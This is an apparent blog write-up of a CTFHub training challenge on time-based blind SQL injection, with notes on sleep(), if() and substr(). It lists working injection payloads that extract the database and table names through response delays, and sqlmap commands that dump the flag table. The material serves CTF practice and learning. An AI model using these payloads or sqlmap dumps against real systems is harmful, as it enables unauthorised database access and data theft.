40,【5】CTFHUB WEB SQL 时间盲注

进入靶场

输入1

猜测其名称长度,为4时页面卡顿,确定长度

1 and if(length(database())=4,sleep(3),1)

根据之前几道题的经验,应该是sqli

1 and if(ascii(substr(database(),1,1))=115,sleep(3),1)

1 and if(ascii(substr(database(),2,1))=113,sleep(3),1)

1 and if(ascii(substr(database(),3,1))=108,sleep(3),1)

1 and if(ascii(substr(database(),4,1))=105,sleep(3),1)

确定为sqli

1 and if((select count(table_name) from information_schema.tables

where table_schema=database())=2,sleep(3),1)

确定表有2个,使用以下语句判断表名

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110,sleep(3),1)

假设我已经判断出new和flag了

继续用如上方法判断字段数,字段名,一个一个判断flag里面的元素

工作量太大了,上sqlmap

sqlmap -u CTFHub 技能学习 | 时间盲注/?id=1 --dbs

sqlmap -u CTFHub 技能学习 | 时间盲注/?id=1 -D sqli --tables

sqlmap -u CTFHub 技能学习 | 时间盲注/?id=1 -D sqli -T flag --columns

sqlmap -u CTFHub 技能学习 | 时间盲注/?id=1 -D sqli -T flag -C flag --dump

笔记

1.时间盲注最重要的工具就是sleep(),括号里面的数字就是页面加载需要的时间

2,if(A,B,C)

这是if语句,A语句正确时运行B,A语句错误时运行C

3,

substr(string, start, length)

string:要截取的源字符串。

start:开始截取的位置。如果 start 为正数,从字符串的左边开始计数;如果为负数,从字符串的右边开始计数。

length:要截取的字符长度。

相关推荐
金色天际线-2 小时前
mysql全量+增量备份脚本及计划任务配置
数据库·mysql
zym大哥大2 小时前
MySQL用户管理
数据库·mysql
对着晚风做鬼脸2 小时前
MySQL 运维知识点(十六)---- 读写分离
运维·数据库·mysql·adb
老朋友此林2 小时前
高并发下如何保证 Caffeine + Redis 多级缓存的一致性问题?MySQL、Redis 缓存一致性问题?
数据库·redis·缓存
会飞的鱼_1232 小时前
MySQL主主复制+Keepalived高可用集群搭建与故障切换实战
数据库·mysql
gsfl5 小时前
Redis分布式锁
数据库·redis·分布式
Li zlun5 小时前
MySQL 配置管理与日志系统完全指南:从基础到高级优化
数据库·mysql
wzg20166 小时前
vscode 配置使用pyqt5
开发语言·数据库·qt
老朋友此林7 小时前
MongoDB GEO 项目场景 ms-scope 实战
java·数据库·spring boot·mongodb
极限实验室8 小时前
如何使用 INFINI Gateway 对比 ES 索引数据
数据库